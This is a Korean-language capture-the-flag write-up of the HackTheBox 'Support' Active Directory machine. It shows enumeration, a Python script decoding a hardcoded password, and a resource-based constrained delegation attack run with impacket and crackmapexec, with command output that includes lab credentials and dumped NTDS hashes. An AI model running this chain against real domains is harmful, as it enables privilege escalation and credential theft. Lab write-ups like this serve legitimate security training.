Challenge Information
Enumeration & Attack Planning
Network
┌──(root㉿kali)-[~/Desktop/htb/Support]
└─# nmap -sV 10.10.11.174
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-10-07 01:04:47Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: support.htb0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: support.htb0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
┌──(root㉿kali)-[~/Desktop/htb/Support]
└─# nmap -sV -p 5985 10.10.11.174
PORT STATE SERVICE VERSION
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
AD 환경이고 도메인은 support.htb
다.
LDAP
┌──(root㉿kali)-[~/Desktop/htb/Support]
└─# ldapsearch -H ldap://10.10.11.174:389/ -D '' -w '' -b "DC=support,DC=htb"
# extended LDIF
#
# LDAPv3
# base <DC=support,DC=htb> with scope subtree
# filter: (objectclass=*)
# requesting: ALL
#
# search result
search: 2
result: 1 Operations error
text: 000004DC: LdapErr: DSID-0C090A5A, comment: In order to perform this opera
tion a successful bind must be completed on the connection., data 0, v4f7c
# numResponses: 1
ldap null binding은 실패했다.
SMB
Guest 접근에 성공했다.
support-tools라는 공유에 접근 권한이 있다.
support-tools라는 공유명에 걸맞게 notepad, wireshark 등 기술 지원에 필요한 도구들을 확인할 수 있었다.
다른 툴들은 다 이미 존재하는 도군데 UserInfo는 공개된 툴이 아닌 것 같아 분석을 해볼 필요가 있을 것 같다.
guest session으로 RID Bruteforcing을 해 Domain User 목록을 얻었다.
이를 통한 AS-REP Roasting은 실패했다.
Exploit (Initial Access)
.net assembly로 작성된 프로그램이라 dnspy로 분석을 진행했다.
ldap 관련 처리를 수행하는 프로그램임을 알 수 있었고 ldap 유저의 (암호화됐지만)하드코딩된 비밀번호도 찾을 수 있었다.
import base64
enc_password = "0Nv32PTwgYjzg9/8j5TbmvPd3e7WhtWWyuPsyO76/Y+U193E"
key = "armando"
encoded_bytes = base64.b64decode(enc_password)
key_bytes = key.encode('ascii')
decoded_bytes = bytearray()
for i in range(len(encoded_bytes)):
decoded_byte = encoded_bytes[i] ^ key_bytes[i % len(key_bytes)] ^ 223
decoded_bytes.append(decoded_byte)
decoded_password = decoded_bytes.decode('utf-8')
print("Decoded Password:", decoded_password)
위 코드를 통해 nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz
가 나왔다.
획득한 ldap 유저의 credential로 ldap query를 날리니 성공했다.
아쉽게도 winrm 권한은 존재하지 않는다.
support 유저의 info 속성에서 비밀번호로 추정되는 값을 찾았다.
support 유저로 winrm 접속을 성공했고 user flag를 얻었다.
Post-Exploit
Surveying
Support 유저는 DC Computer Object에 대한 GenericAll 권한이 있는 것을 확인할 수 있다.
💡 CanPSRemote(winrm 접속 권한) Edge가 분석을 방해한다면 지우면 된다.
Computer Object에 GenericAll 권한이 있을 경우 RBCD Attack이나 Shadow Credential 등의 공격을 사용하면 된다.
이 롸업에서는 RBCD Attack으로 풀이하겠다.
💡 Attribute 수정이 가능하기 때문에 Targeted Kerberoasting, AS-REP Roasting을 시도하는 방법도 있겠지만, 기본적으로 Computer Object는 16자 이상의 무작위 영대소문자로 구성된 비밀번호를 사용하기 때문에 TGT, TGS를 얻어도 크랙이 불가능해 활용할 수가 없다.
GenericAll 권한으로 DC Object의 AllowedToActOnBehalfOfOtherIdentity
속성에 우리가 제어하는 Object를 넣을 것이다.
이 속성은 위임(delegation)을 허용할 object를 지정하는 역할을 하므로(일종의 trust list 느낌), 속성에 들어간 Object가 다른 계정을 사칭해(비밀번호를 몰라도 가능) DC Object에 접근할 수 있도록 해준다.
DC Object의 경우 Domain에 대한 DCSync 권한을 가지므로, Administrator를 사칭해 이 Object에 접근한다면 NTDS Dump가 가능할 것이다.
Privilege Escalation
RBCD Attack에 활용할 Computer Object를 하나 생성해 줬다.
💡 사용자 계정은 여러 복합적인 이유 때문에 RBCD Attack에 활용하기에 적합하지 않다.반대로 컴퓨터 계정은 RBCD Attack를 수행하는데 문제가 없고 기본적으로 사용자는 (기본값) 10개의 컴퓨터 계정을 생성 가능하기 때문에, 보통 RBCD Attack의 첫 단계는 컴퓨터 계정 생성으로 진행된다.
아래는 사용자 계정으로 RBCD Attack을 해보는 글이다.보다 조건이 까다롭고 복잡하단 사실을 확인할 수 있을 것이다.
https://www.tiraniddo.dev/2022/05/exploiting-rbcd-using-normal-user.html
┌──(root㉿kali)-[~/Desktop/htb/Support]
└─# impacket-rbcd support.htb/support:Ironside47pleasure40Watchful -delegate-to DC$ -delegate-from fake-computer$ -dc-ip 10.10.11.174 -action write
Impacket v0.11.0 - Copyright 2023 Fortra
[*] Attribute msDS-AllowedToActOnBehalfOfOtherIdentity is empty
[*] Delegation rights modified successfully!
[*] fake-computer$ can now impersonate users on DC$ via S4U2Proxy
[*] Accounts allowed to act on behalf of other identity:
[*] fake-computer$ (S-1-5-21-1677581083-3380853377-188903654-5602)
┌──(root㉿kali)-[~/Desktop/htb/Support]
└─# impacket-getST -spn cifs/dc.support.htb -impersonate Administrator -dc-ip 10.10.11.174 support.htb/"fake-computer$":"P@ssw0rd"
Impacket v0.11.0 - Copyright 2023 Fortra
[*] Getting TGT for user
[*] Impersonating Administrator
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in Administrator.ccache
impacket-rbcd를 통해 생성한 fake-computer를 DC의 AllowedToActOnBehalfOfOtherIdentity
에 등록해줬다.
그 DC에 대한 cifs 서비스 티켓을 요청하면 성공적으로 Administrator의 ST를 획득할 수 있다.
💡만약 ST를 획득하는 과정에서 Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great) 오류가 발생했다면 아래 글을 참고하면 된다.
https://dypar-study.tistory.com/196
┌──(root㉿kali)-[~/Desktop/htb/Support]
└─# export KRB5CCNAME=./Administrator.ccache
┌──(root㉿kali)-[~/Desktop/htb/Support]
└─# crackmapexec smb 10.10.11.174 -u Administrator --use-kcache --ntds
SMB 10.10.11.174 445 DC [*] Windows 10.0 Build 20348 x64 (name:DC) (domain:support.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.174 445 DC [+] support.htb\ from ccache (Pwn3d!)
SMB 10.10.11.174 445 DC [+] Dumping the NTDS, this could take a while so go grab a redbull...
SMB 10.10.11.174 445 DC Administrator:500:aad3b435b51404eeaad3b435b51404ee:bb06cbc02b39abeddd1335bc30b19e26:::
SMB 10.10.11.174 445 DC Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SMB 10.10.11.174 445 DC krbtgt:502:aad3b435b51404eeaad3b435b51404ee:6303be52e22950b5bcb764ff2b233302:::
SMB 10.10.11.174 445 DC ldap:1104:aad3b435b51404eeaad3b435b51404ee:b735f8c7172b49ca2b956b8015eb2ebe:::
SMB 10.10.11.174 445 DC support:1105:aad3b435b51404eeaad3b435b51404ee:11fbaef07d83e3f6cde9f0ff98a3af3d:::
SMB 10.10.11.174 445 DC smith.rosario:1106:aad3b435b51404eeaad3b435b51404ee:0fab66daddc6ba42a3b0963123350706:::
획득한 ST로 NTDS를 dump한 후 winrm으로 접근해 flag를 획득했다.
'Wargame > HackTheBox' 카테고리의 다른 글
[Windows] Access (0) | 2024.08.06 |
---|---|
[AD] Sauna (2) | 2024.07.16 |
[AD] Active (0) | 2024.07.02 |
[AD] Forest (1) | 2024.06.14 |